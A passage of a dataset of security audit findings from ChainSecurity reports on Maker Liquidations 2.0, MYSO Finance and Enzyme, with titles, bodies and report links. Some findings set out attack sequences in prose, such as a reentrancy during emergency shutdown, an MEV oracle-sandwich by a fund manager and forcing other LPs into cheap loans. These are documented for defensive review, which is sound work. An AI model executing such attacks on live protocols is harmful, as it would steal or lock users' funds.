managers is monitored. However, we would like to point out that there are sequences of actions from which the manager can benefit. In particular, a malicious fund manager, who sees a price drop in the Aave oracle of a collateral asset, could create a malicious sequence of transactions through MEV capabilities to borrow with user funds while liquidating the position immediately. Consider the following sequence of transactions: 1. Move aDai to the Aave external position proxy and borrow WETH such that the health factor is 1. 2. The sandwiched oracle price changes: Dai price drops compared to WETH. 3. The fund manager liquidates the position and profits. Avantgarde Finance - Extensions III - 13 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-extensions-iii/"}, {"title": "7.1 Incorrect Description of Dog.bark()", "body": " After the intermediate report the main functions of Liquidations 2.0 have been annotated with their expected behavior taken from MIP45. The description above Dog.bark() as well as the corresponding part in MIP45 are outdated: In order to address an other issue (Liquidation of Dusty Vaults), the behavior has been slightly altered. Notably, the statement // There is a precondition about `room` that needs // to be satisfied in order to create an auction: // room > 0 && room >= ilk.dust // otherwise the transaction fails no longer applies in the updated code. Specification changed: The code comments have been changed and now explain the new liquidation behaviour including the preconditions. Maker Foundation - Liquidations 2.0 - ChainSecurity 12 CriticalHighMediumSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedLowSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion2Speci\ufb01cationChanged \f7.2 Dirt Remains After Bad Auction As described in MIP45c4, the Hole/ ilk.hole values define a global / per-collateral limit of the total amount of DAI needed to cover the summed debt and liquidation penalty associated with all active auctions. The current debt is tracked by the global Dirt and the per collateral ilk.dirt variables. Upon auction initiation, the tab, the new debt of the system is added to the corresponding variables. Upon buying from an auction, the owe amount, the amount of debt paid, is removed from the corresponding variables. The expected behavior is only loosely covered in MIP45c8: Lastly, various values are updated to record the changed state of the auction: the DAI needed to cover debt and fees for outstanding auctions, and outstanding auctions of the given collateral type, are reduced (via a callback to the liquidator contract) is reduced by owe, and the tab (DAI collection target) and lot (collateral for sale) of the auction are adjusted as well. If all collateral has been drained from an auction, all its data is cleared and it is removed from the active auctions list. If collateral remains, but the DAI collection target has been reached, the same is done and excess collateral is returned to the liquidated Vault. As described in the specification above, the code only removes the received amount of DAI (owe) from the debt. This works as expected when the auction managed to cover the tab. In this case all debt added to the dirt during liquidation is removed. During exceptional circumstances however, the situation that an auction is unable to collect enough DAI to cover the tab despite selling all collateral may arise. In this scenario the auction terminates but the unrecovered debt amount remains in the dirt variables. The expected behaviour in this scenario should be documented. After such an auction, the value of Dirt will exceed the summed debt of all active auctions and it is no longer possible for the summed debt of all auctions to reach the limit defined by Hole. If this happens repeatedly, e.g. during a rapid market crash the accumulated unaccounted dirt may severely restricts the amount of active auctions possible. Most notably this will impact less liquid collateral types with a comparatively low amount set for ilk.hole. The code has been updated and now handles this case correctly: When an auction has sold all collateral (lot reduced to 0) the remaining tab is removed in addition to owe which is the aumount of DAI just collected: // Removes Dai out for liquidation from accumulator dog_.digs(ilk, lot == 0 ? tab + owe : owe); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.3 Potential Reentrancy During Emergency", "body": " Shutdown Maker Foundation - Liquidations 2.0 - ChainSecurity 13 CorrectnessMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrected \fOnce the emergency shutdown mode has been entered, a reentrancy attack is possible. The reentrancy attack works as follows: 1. The attacker identifies an open auction to attack and the corresponding ilk. Note that this attack can be repeated for different auctions. 2. The attacker ensures that the ilk has been caged inside the End contract. If not, the attacker can enforce this by calling the cage function for the ilk in question. 3. The attacker calls take on the corresponding Clipper for the identified auction so that the auction will be closed at the end. 4. The attacker specifies its contract as who for the callback. 5. The take function sends collateral to who. 6. As part of the callback the attacker calls the snip function of the End contract, which will call the yank function of the Clipper. 7. The snip function returns the collateral and the debt to the corresponding vault . Hence, the collateral has been sent away twice at this point. 8. The yank function signals to the dog that the auction is closed. The yank function deletes the auction and removes it from the active list. 9. After the return of the callback, the take function also signals to the dog that the auction is closed, also deletes it and finally tries to remove it from the active list. At this point it removes another auction from the active list. The consequences are: There are more active auctions than listed inside the active array. Not all remaining auctions can be closed. The _remove function will eventually revert once the active array is empty. The Dirt values of the Dog is incorrect. Hence, even auctions for other collaterals could revert during yank or take as the corresponding calls to dog.digs will revert. The Clipper does not hold sufficient collateral to serve all ongoing auctions. Note that the exact consequences increase if the attack is performed multiple times. The issue was addressed by adding the lock modifier to yank which prevents the reentrancy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.4 Specification Mismatches", "body": " There are multiple errors of different severity in the MIP45 specification. For each item we list the relevant part of the specification and the explanation of the error: c7: \"all liquidations disabled(2): This means no new liquidations (Clipper.kick), no takes (Clipper.take), and no redos (Clipper.redo)\" Reason: While this is correctly implemented, the code comment is a bit unclear as it does not specify that no kick invocations are allowed on level 2: // Levels for circuit breaker // 0: no breaker // 1: no new kick() Maker Foundation - Liquidations 2.0 - ChainSecurity 14 CorrectnessMediumVersion1Speci\ufb01cationChanged \f// 2: no new redo() or take() c8: \"If the auction reached the tail value, ... then the Clipper.take would revert if called\" Reason: This description of the tail value mismatches with its description in c1: \"Time elapsed before auction reset\". Note that the source code follows c1: function status(uint96 tic, uint256 top) internal view returns (bool done, uint256 price) { price = calc.price(top, sub(block.timestamp, tic)); done = (sub(block.timestamp, tic) > tail || rdiv(price, top) < cusp); } c8: \"If the auction ... fell by cusp percent of top, then Clipper.take would revert if called, ...\" Reason: Discrepancy with c1 \"cusp = 0.6 * RAY (60% of the starting price), then the auction will need to be reset when reaching just below the price of 720.\" c1 implies that the auction needs to be restarted once it falls by at least cusp percent, while c8 implies that it needs to be restarted when it falls by more than cusp percent. c8: \"If the caller provided a bytestring with greater than zero length, an external call is made to the who address, assuming it exposes a function, follow Solidity conventions, with the following signature.\" Reason: This is not entirely correct, as no call will be made if who is the Dog contract or the Vat contract. c13: \"treats price at the current time as a function of the initial price of an auction and the time at which it was initiated\". Reason: The price is a function of the initial price and the duration since last redo. c14: \"This process will repeat until all collateral has been sold or the whole debt has been collected\" Reason: This is not true as the auction might also be completed through a call to the snip function. c15: \"The Clipper.take call can send any remaining collateral or DAI beyond owe to a cold wallet address inaccessible to the keeper.\" Reason: This statement is slightly imprecise as the remaining collateral or DAI would be moved by the clipperCallee. c16: \"A mutex check to ensure the Clipper.take function is not already being invoked from clipperCallee.\" Reason:. The mutex check prevents reentrancy into Clipper.take/redo() irregardless of the clipperCallee. c17: \"calls dog.digs in order to increment its Hole and ilk.hole values by the remaining auction tab.\" Reason: It is not Hole/hole that are modified but Dirt/dirt. c18: \"function file(bytes32 what, uint256 data) external\" Reason: data should be of the type address. c18: function active() external view returns (uint256[]); Reason: The automatically created getter active will requires numeric index as a parameter and returns a single uint256. c26: \"urn.art * ilk.rate * ilk.chop ||\" Reason: Missing operator for comparison. c26: In equations into account e.g., urn.art * ilk.rate * ilk.chop > room. However, this choice is not explicitly stated which creates mismatch with the implementation. the units are not it seems taken that Maker Foundation - Liquidations 2.0 - ChainSecurity 15 \f c26: \"vault.art * ilk.rate <= room\" Reason: Missing chop. c27: \"if amt < lot && tab - (amt * abacus.price) < ilk.dust\" Reason: Mismatch with code. The code says amt < lot && owe < tab. Specification corrected: The specification has been corrected and matches the code behavior apart from minor diversions that are irrelevant to general usage, e.g., internal restrictions on callback targets. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.5 Specification Mismatches Due to Final", "body": " Changes The documentation still lists the function getId inside the Clipper contract. However this function was of the code. Note that no functionality was removed as the active function can be removed in used instead. The updust function was newly added to the code in to allow a caching of the dust value inside the Clipper, see Dust Retrieval Is Relatively Expensive for more information. The updust function is not yet documented. Specification changed: The specification was adjusted accordingly to reflect the removal of the getId function and the addition of the updust function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.6 Dust Retrieval Is Relatively Expensive", "body": " Multiple clever gas optimizations have been performed by the developers. However, we note that a rather trivial looking line still contains major gas costs: (,,,, uint256 dust) = vat.ilks(ilk); This line retrieves the dust amount for the specific ilk. It occurs inside the Clipper functions take and redo. Inside the vat the following struct will be loaded: struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } Maker Foundation - Liquidations 2.0 - ChainSecurity 16 CorrectnessLowVersion3Speci\ufb01cationChangedVersion3Version3DesignLowVersion2CodeCorrected \fHence, 5 SLOAD operations are necessary. After the activation of the upcoming Berlin hardfork this will cost 5 * 2,100 = 10,500 gas. However, in the current architecture there is no way to retrieve the dust value separately. Mirroring it inside the Clipper contract would reduce the costs significantly, but would introduce potential inconsistencies between the two values. The code has been corrected. The dust value is cached inside the Clipper and can be kept consistent through a permissionless call to updust. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.7 Duplicate Functions in Clipper", "body": " The two functions getId and the active inside the Clipper have the same functionality. Both functions take a list index as input and return the element of the active list at that index. function getId(uint256 id) external view returns (uint256) { return active[id]; Hence, it seems that the code size is unnecessarily increased. The getId function was removed from the Clipper contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.8 Gas Inefficiency During Auction Removal", "body": " When an auction is being removed from the Clipper, because it is finished or has been yanked, then the auction id will be removed from the active list. As part of this removal, the auction id is exchanged with the last auction id in the active list and the appropriate changes are made: function _remove(uint256 id) internal { uint256 _index = sales[id].pos; uint256 _move = active[active.length - 1]; active[_index] = _move; sales[_move].pos = _index; In case that the removed auction was already last in the list, which is not unlikely given that there is such a list for each collateral, two SSTORE and one SLOAD operation could have been skipped. Code Corrected: The code has been changed as follows: function _remove(uint256 id) internal { uint256 _move = active[active.length - 1]; if (id != _move) { Maker Foundation - Liquidations 2.0 - ChainSecurity 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f uint256 _index = sales[id].pos; active[_index] = _move; sales[_move].pos = _index; } active.pop(); delete sales[id]; } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.9 Liquidation of Dusty Vaults", "body": " According to the protocol, the initiation of an auction will be reverted if the available room is less than the dust for the corresponding ilk. However, there might be the corner case where a dusty vault exists, e.g., after the dust amount for a particular ilk has been increased. Dusty vaults can be blocked from liquidation even though there would be room for them. This is because of following check: require(room > 0 && room >= dust, \"Dog/liquidation-limit-hit\"); Even though there wouldn't be enough room for dust, there would still be enough room for a dusty auction. This state is temporary. Later, once even more room becomes available again, the dusty vault can be liquidated again. Dusty vaults can now be liquidated. If there is room to liquidate the total art of the vault there are no further restrictions related to the dust to start the auction. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "7.10 room > 0 Check Can Be Omitted", "body": " In dog.bark there is a check on whether the available room is positive. This check takes place in the following require statement: require(room > 0 && room >= dust, \"Dog/liquidation-limit-hit\"); This check is only useful in the case where dust == 0 and room == 0, otherwise it holds trivially. In the previously mentioned case, however, dart == 0 (since dart = min(art, 0)) and (art - dart)*rate >= dust (since dust == 0). Hence, dink = mul(ink, dart)/art == 0 and the following require statement reverts: require(dink > 0, \"Dog/null-auction\"); Hence, the room > 0 sub-condition can be safely removed, which saves a small amount of gas during every execution. Maker Foundation - Liquidations 2.0 - ChainSecurity 18 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fCode Corrected: In the updated implementation the logic determining whether a full or partial liquidation happens has been changed in order to address another issue. The require statement listed above no longer exists and neither does an unnecessary > 0 check. Hence the issue has been resolved. Maker Foundation - Liquidations 2.0 - ChainSecurity 19 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The contracts in scope for this review are part of the Maker system which consists of many interacting contracts. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "8.1 Blocked Calls From Clipper", "body": " During the take function of the Clipper, an external call is executed. Certain call targets are blocked: if (data.length > 0 && who != address(vat) && who != address(dog_)) { ClipperCallee(who).clipperCall(msg.sender, owe, slice, data); } As the Clipper has special privileges inside the vat and dog_ contracts, these contracts are blocked. However, additionally targets need to be blocked where the funds controlled by the Clipper could be moved in an unauthorized way. A good example is the GemJoin.exit function. This function could remove the stored collateral from the Clipper and send it to an attacker. Please note that this attack currently does not work as there is no collision between the signature hashes of clipperCall(address,uint256,uint256,bytes) and exit(address,uint256). However, we note that for all future contracts added to the system it needs to be ensured that no such collisions exist or the call targets need to be blocked. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "8.2 Creation of Many Small Auctions", "body": " As discussed in the MIP45, incentive farming needs to be avoided. Besides the scenarios that are already described in the MIP45, another scenario is possible. This scenario comes into effect if either the capacity for one collateral or the overall capacity has almost reached its limit. In technical terms this means that the dirt is almost as large as the hole. If, in this scenario, a large vault becomes unsafe, an attacker could create many small auctions out of it. The attacker would perform the following steps within a single transaction: 1. Create a small auction that fills up the capacity limit and receive the keeper incentive 2. Take a small amount (ideally dust) from another auction (note that given that the limit is reached, there is likely a good auction available) The only downside for the attacker compared to creating a big auction are higher gas costs. Note, however, that after EIP-2929 (in combination with EIP-2200) will come into effect the additional costs of performing step 2 multiple times will be significantly reduced, while the costs of repeated executions of step 1 will also be reduced. Maker Foundation - Liquidations 2.0 - ChainSecurity 20 NoteVersion2NoteVersion1 \f8.3 Debt Queue Not Updated Automatically The Vow contract manages a system debt queue called sin, not to be confused with the sin mapping inside the Vat contract. It is noteworthy that the debt queue is fully not synchronized with the liquidation system. In particular, the liquidation system makes new entries, but never resolves them. This can have two possible effects: 1. The debt inside the system debt queue is released too quickly. In particular that means that auctions might still be ongoing for the released debt and hence some of the debt might still get covered. This can occur if the wait value inside the Vow is too low in comparison to auction durations. As a consequence it might be possible to trigger a debt auction even though there is no need for it. 2. The debt inside the system debt queue is released too slowly. In particular that means that auctions might have long finished and that the debt has already been repaid. This can occur if the wait value inside the Vow is too large in comparison with auction durations. As a consequence surplus auctions could be unnecessarily delayed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "8.4 Ethereum Is a Dark Forest", "body": " Ethereum is a Dark Forest describes the phenomena of bots inspecting the pool of unmined transactions and front-running profitable transactions with their own. Although the exact capabilities of these bots are unknown, these bots are sophisticated. Liquidations 2.0 relies on keepers to initiate liquidations of undercollateralized vaults. There is a certain cost overhead (e.g. running a software monitoring the blockchain) for keepers to detect undercollaterlized vaults. Only after undercollateralized vaults have been identified, they can be liquidated by calling Dog.bark(). For their efforts, keepers are rewarded on-chain if tip and/or chip are set to non-zero values. While it doesn't matter for the liquidation system when bots copy and front-run these transactions, the honest keepers will not only lose their anticipated reward for the liquidation, but also lose the gas fee paid. If this happens repeatedly, keepers may stop to identify & liquidate undercollateralize vaults as they can't make a profit. Once no keeper identifies and crafts transactions to liquidate vaults bots can't copy these transactions anymore - and hence in an extreme scenario no more liquidations happen. Clipper.redo() is affected in a similar way, Clipper.take() may be affected partially, e.g. when there are flash-loans involved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "8.5 Incentive Farming Might Be Possible Due to", "body": " Misconfiguration As mentioned in MIP45c19, Incentive Farming is a risk in the system. However, it could also occur without a change in the dust value. Note that there is no mechanism inside the smart contracts that prevents that a keeper's reward for kicking off an auction is bigger than the liquidation penalty which the system achieves. Hence, the governance needs to chose the corresponding parameters: chip, tip and chop very carefully as a misconfiguration allows a way to drain the system. Maker Foundation - Liquidations 2.0 - ChainSecurity 21 NoteVersion1NoteVersion1NoteVersion1 \f8.6 Initialization and Deployment Requires Extra Care As with any smart contract care needs to be taken during deployment and initialization. However, for these contracts it is especially important as they: will be integrated into an existing system are not fully initialized during deployment In particular the following steps need to be performed correctly: Authorizations between the contracts need to be granted All parameters need to be chosen. Not that some functionality will already be available with partially initialized contracts, e.g. the Clipper contract will be fully functional if no Vow contract has been registered. However, all collected DAI will flow to the Zero address. Initially given deployment authorizations need to be revoked Authorizations for replaced contracts need to be revoked ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "8.7 Monotonicity of Price Functions", "body": " The auction system is designed as \"Dutch style auction system, where auction prices generally start high and drop over time\". Note, however that there is no guarantee in the system that prices will be monotonically decreasing. Apart from a redo which can trigger a price increase, the prices can also rise due to changed parameters of the corresponding Abacus contract. As an example, if the variable tau which contains the \"Seconds after auction start when the price reaches zero\" is increased, ongoing auctions will see a price increase. Note, that users of the system can protect themselves. Auction takers can specify a max price which they are willing to pay for collateral. Then, they only stand to lose gas costs. We aim to educate users to properly use the max value even though there is a seemingly decreasing price. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "8.8 No Stability Fee During Auctions", "body": " As debt accumulates no stability fee during auctions, it needs to be ensured that debt doesn't reside inside an auction for too long. In case the stability fee would be very high, the liquidation penalty would be really low, and the auction would be running for a very long time, the stability fee lost during the auction time would exceed the liquidation penalty earned. In this hypothetical scenario a liquidation would be \"beneficial\" for a vault owner. Note, however, that we deem this as highly unlikely as there is a general incentive to keep auctions short, which is also discussed in the MIP45. Even for the collateral with the currently highest stability fee (50%), the auction would have to take roughly 110 days to offset a regular liquidation penalty of 13%. Maker Foundation - Liquidations 2.0 - ChainSecurity 22 NoteVersion1NoteVersion1NoteVersion1 \f8.9 Vat Debt Tracking Not Automatically Synchronized At the beginning of an auction dog.bark() calls vat.grab() to reassign the collateral to the auction contract and the debt from the vault to the system. Hence, both vat.sin[vow] and vat.vice are increased by dart times the collateral's rate. The sin mapping and vice are used to track the bad debt of the system inside the Vat contract. However, these values are not updated after a successful auction. This is due to how the Maker system works: After a purchase in an auction, the DAI amount received is transferred to the vow. When the vow contract has a surplus amount of DAI, anyone may call vow.heal() to settle the debt accrued in vat.sin[vow]. Further functionality allows to handle debt or surplus auctions. Please note that the Vow and Vat contracts are not in scope of this review and are expected to work correctly. Maker Foundation - Liquidations 2.0 - ChainSecurity 23 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-protocol-liquidations-2-0/"}, {"title": "5.1 Missing Event for poolCreator Update", "body": " The functions that allow an update of the pool creator perform important state change without emitting an event. Acknowledged: MYSO Finance has acknowledged this issue, but has decided to keep the functions as-is due to limitations on the code size. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "5.2 Gas Optimizations", "body": " 1. State variables r1, r2, liquidityBnd1, liquidityBnd2, and minLoan are set in the constructor and are read-only afterwards, thus they can be declared as immutable to save gas. 2. In function removeLiquidity, the SLOAD to access totalLiquidity when emitting the event could be avoided if memory variables are used. 3. In function borrow, the storage field totalLpShares is passed to updateAggregations. Even if it is a hot address, accessing it again costs 100 gas, a memory variable would be more MYSO Finance - Core Protocol V1 - 12 DesignCorrectnessCriticalHighMediumLowAcknowledgedCodePartiallyCorrectedAcknowledgedCodePartiallyCorrectedRiskAcceptedRiskAcceptedAcknowledgedAcknowledgedDesignLowVersion3AcknowledgedDesignLowVersion2CodePartiallyCorrectedAcknowledged \fefficient as MLOAD costs 3 gas. It is also the case for loanIdx in the borrow function and in the rollOver function. 4. rollOver function computes _sendAmount - getLoanCcyTransferFee(_sendAmount) multiple times. Storing the result in a memory variable will save gas. 5. In function updateAggregations, repaymentUpdate is always computed but is only needed when _isRepay is true. 6. In , the constant variable treasury was changed into a state variable poolCreator which could be declared as immutable. 7. In , function borrow performs an unnecessary SLOAD to get the loan index when emitting the event Borrow. Code partially corrected: 3. The storage variables totalLpShares and loandIdx are stored in memory variables. 4. The logic has been moved in function checkAndGetSendAmountAfterFees and the result of the subtraction is cached. Acknowledged MYSO Finance replied: We acknowledge that certain variables could be made immutable and also within functions a few cases where storing a repeatedly used variable as a memory variable would also save gas, but we were running against byte code limits and stack too deep errors, and instead of significantly refactoring, we decided against implementing many of the optimizations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "5.3 Force Other LPs to Sell Cheap Loans", "body": " Liquidity providers have the guarantee that they receive a minimum interest (flat rate r2) from the repaid loans. If there is enough demand for borrowing from a pool, the interest rate goes up which makes it more attractive for LPs to provide liquidity into it. However, one can implicitly force LPs to lend tokens at a lower interest rate. To achieve that, an attacker needs to add liquidity into a pool and then borrow. For example, if the available liquidity in a pool is between liquidityBnd1 and liquidityBnd2, the attacker adds enough liquidity, so the interest rate gets lowered. Taking a loan immediately after this operation, the attacker consumes part of its liquidity and part of other LPs liquidity with a lower interest rate than the market rate. The attacker borrows enough tokens such that the interest rate is back to the one before the attack started. This way, the liquidity added by the attacker is not exposed to lower interest rates, while other LPs effectively were forced to sell loans with low interest rates. Code partially corrected: MYSO Finance implemented two mitigation measures to reduce the likelihood of such attacks: 1. Smart contracts (or EOA) cannot add liquidity and borrow from the pool in the same transaction (or block), as functions addLiquidity and borrow track tx.origin. This complicates but Instead of using does not eliminate the attack described above. risk of the MYSO Finance - Core Protocol V1 - 13 Version2Version3DesignLowVersion1CodePartiallyCorrectedRiskAccepted \fone single contract to atomically provide liquidity and borrow, an attacker would need to take the risk of carrying the attack non-atomically, or use flashbots, which require more work. 2. Increase the minimum LP-ing period from 30sec to 120sec to increase the exposure of the attacker's liquidity to the same attack vector. Risk accepted: MYSO Finance is aware that the attack is inherent to the system's architecture and states that the two mitigation measures described above will reduce the likelihood of such attacks but not fully prevent them. Furthermore, the attack does not lower the interest rates below the flat rate of a pool (r2), hence LPs still earn a minimum yield. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "5.4 Optimizations at the Cost of Added", "body": " Complexity The function updateLpArrays considers 7 different cases when an LP updates its position and optimizes the storage usage by avoiding storing redundant data. This optimization of the storage comes with added complexity in the logic of the function updateLpArrays although the majority of cases (4 out of 7) are expected to happen rarely. Risk accepted The client accepts the risk associated with the code complexity to optimize storage gas costs and will consider refactoring the function in a future version of the codebase. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "5.5 Rollover Not Allowed in Certain Situations", "body": " Function rollOver in BasePool reverts if a borrower renews its loan and the new loan amount is higher than the repayment of the previous loan. This might be the case if the pool has more available liquidity when rollover happens than when the loan was initially taken. The restriction is enforced in the following check: if (loanAmount >= loanInfo.repayment) revert InvalidRollOver(); Acknowledged MYSO Finance has decided to keep the code unchanged as this scenario is expected to happen rarely, and users still have an alternative to perform the same operation, as explained in their response: For bytecode reasons we refrained from supporting this use case as it would require an additional if-else to distinguish between calling transferFrom (regular case where borrower pays to rollOver) and transfer (rare case where borrower receives a refund). The situation where a rollOver would lead to a refund is expected to occur - if at all - rather rarely, hence not supporting it isn\u2019t deemed a significant loss in functionality. Moreover, if necessary a borrower could also independently emulate a rollOver for this situation by atomically repaying and borrowing using a flashloan. MYSO Finance - Core Protocol V1 - 14 DesignLowVersion1RiskAcceptedDesignLowVersion1Acknowledged \f5.6 Unclaimed Tokens Remain Locked Liquidity providers specify the loan indices for their claims and are allowed to skip loans that are not sufficiently profitable. Once an LP skips a loan, it cannot claim it anymore. Hence, a pool continuously holds loan and collateral tokens amounts that cannot be claimed by LPs and are locked. The only way to recover loan token funds is if all LPs remove their liquidity from a pool (totalLpShares == 0) and then one adds liquidity which triggers the transfer of dust to the treasury. However, there is no way to recover collateral amounts left in the pool from skipped claims. Acknowledged MYSO Finance acknowledges the issue and does not plan on adding a functionality to track the unclaimed loans as it would increase significantly the gas costs. However, MYSO Finance will simplify the UI for claiming and promote aggregate claims to reduce the number of unclaimed loans. MYSO Finance - Core Protocol V1 - 15 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 0 4 10 -Severity Findings -Severity Findings -Severity Findings Mismatch of Implementation With Specification Missing Loan Owner Sanity Check When Borrowing Protocol Fee Computation Can Overflow Total LP Shares Are Capped in Pools -Severity Findings Emission of ApprovalUpdate Event Can Be Tricked Deletion of Timestamps From Mapping Redundant Events Emitted Disabled Optimizer Inaccessible TREASURY Account Insufficient Check for Minimal Loan Given Total LP Shares Inverted NewSubPool Event Token Fields Misleading ApprovalUpdate Event Missing Precision of Pool Parameters Non-indexed Events ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.1 Mismatch of Implementation With", "body": " Specification The specifications of the borrow function state: In this case the collateral is deducted from the 3rd party ``msg.sender`` address but the ``_onBehalfOf`` address receives the loan and is registered as the loan owner (including the ability to repay and reclaim the pledged collateral). However, the function takes the collateral from msg.sender and also sends the loan amount to msg.sender in violation with the specifications: IERC20Metadata(collCcyToken).safeTransferFrom(msg.sender, address(this), _sendAmount); ... IERC20Metadata(loanCcyToken).safeTransfer(msg.sender, loanAmount); MYSO Finance - Core Protocol V1 - 16 CriticalHighMediumSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion1Speci\ufb01cationChanged \fSpecification changed The specification in section 'Calling Functions on Behalf' of the gitbook has been revised to reflect the code behavior: In this case the collateral is deducted from msg.sender and msg.sender also receives the loan but the_onBehalfOf address is registered as the loan owner (including the ability to repay and reclaim the pledged collateral). This allows wrapping and unwrapping of tokens through a peripheral contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.2 Missing Loan Owner Sanity Check When", "body": " Borrowing A borrower can take a loan on behalf of anyone without restriction and this can result in the loan never being repaid. If a borrower calls borrow with an _onBehalf address they do not control or is aware that it will be the owner of a loan, the loan will default since the borrower is not the loan owner and is probably not allowed to repay it. E.g., borrow is called with _onBehalf=address(0), then the loan will default for sure. Code corrected The function borrow has been updated to perform a sanity check that address _onBehalf is not set to addr(0) by mistake. However, the caller is still responsible for providing a correct address for _onBehalf which repays the loan if required. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.3 Protocol Fee Computation Can Overflow", "body": " The protocol fee computation in loanTerms can overflow if the protocolFee is non-zero. The multiplication in _protocolFee = uint128((_inAmountAfterFees * protocolFee) / BASE) is carried in uint128 and might overflow. Example is with protocolFee = 5 * 10**5 which is also the maximum allowed fee and _inAmountAfterFees=uint128(uint256(2**128) / uint256(5 *10**15))+1=68056473384187692692675 which may seem to be a lot but could be a realistic amount for collateral tokens with 18 decimals and low value. Code corrected In the second version of the codebase, the variable protocolFee was renamed creatorFee and its type was changed to uint256 to avoid possible overflows in the computation highlighted in the issue above. MYSO Finance - Core Protocol V1 - 17 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f6.4 Total LP Shares Are Capped in Pools The function _addLiquidity performs two checks to guarantee that an LP will get non-zero token amounts from a small loan, both on repay and default. The checks are implemented as follows: if ( ((minLoan * BASE) / totalLpShares) * newLpShares == 0 || (((10**COLL_TOKEN_DECIMALS * minLoan) / maxLoanPerColl) * BASE) / totalLpShares == 0 ) revert PotentiallyZeroRoundedFutureClaims(); The first condition evaluates to true whenever totalLpShares > minLoan * BASE. Since both minLoan and Base are fixed for a pool, the totalLpShares is capped for a pool. Similarly, the second condition evaluates to true whenever totalLpShares > ((10**COLL_TOKEN_ DECIMALS * minLoan) / maxLoanPerColl) * BASE) sets another restriction on the maximum totalLpShares. Capping the totalLpShares prevents adding liquidity to pools that are attractive to users and have high activity. Specification changed The specifications have changed and the checks described above have been removed, hence the unintended capping on total LP shares is not present anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.5 Emission of ApprovalUpdate Event Can Be", "body": " Tricked There is no restriction on the parameter _packedApprovals of function setApprovals. One could set the 6th bit to 1 even if no approval is updated and the event will be emitted. Moreover, if bits higher than the 6th are set, they will be shown in the emitted event. The input parameter _packedApprovals has been sanitized to consider only the 5 least significant bits. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.6 Deletion of Timestamps From Mapping", "body": " The timestamp stored in lastAddOfTxOrigin are never deleted from the mapping although they are used only to disallow LPs from adding liquidity and borrowing in the same block. The entries of this mapping can be deleted, e.g., when LP remove their liquidity, to get gas refunds. MYSO Finance - Core Protocol V1 - 18 DesignMediumVersion1Speci\ufb01cationChangedDesignLowVersion3CodeCorrectedDesignLowVersion2CodeCorrected \fThe entry for an address in the mapping lastAddOfTxOrigin is deleted when liquidity is removed. ", "labels": ["ChainSecurity"], "html_url": 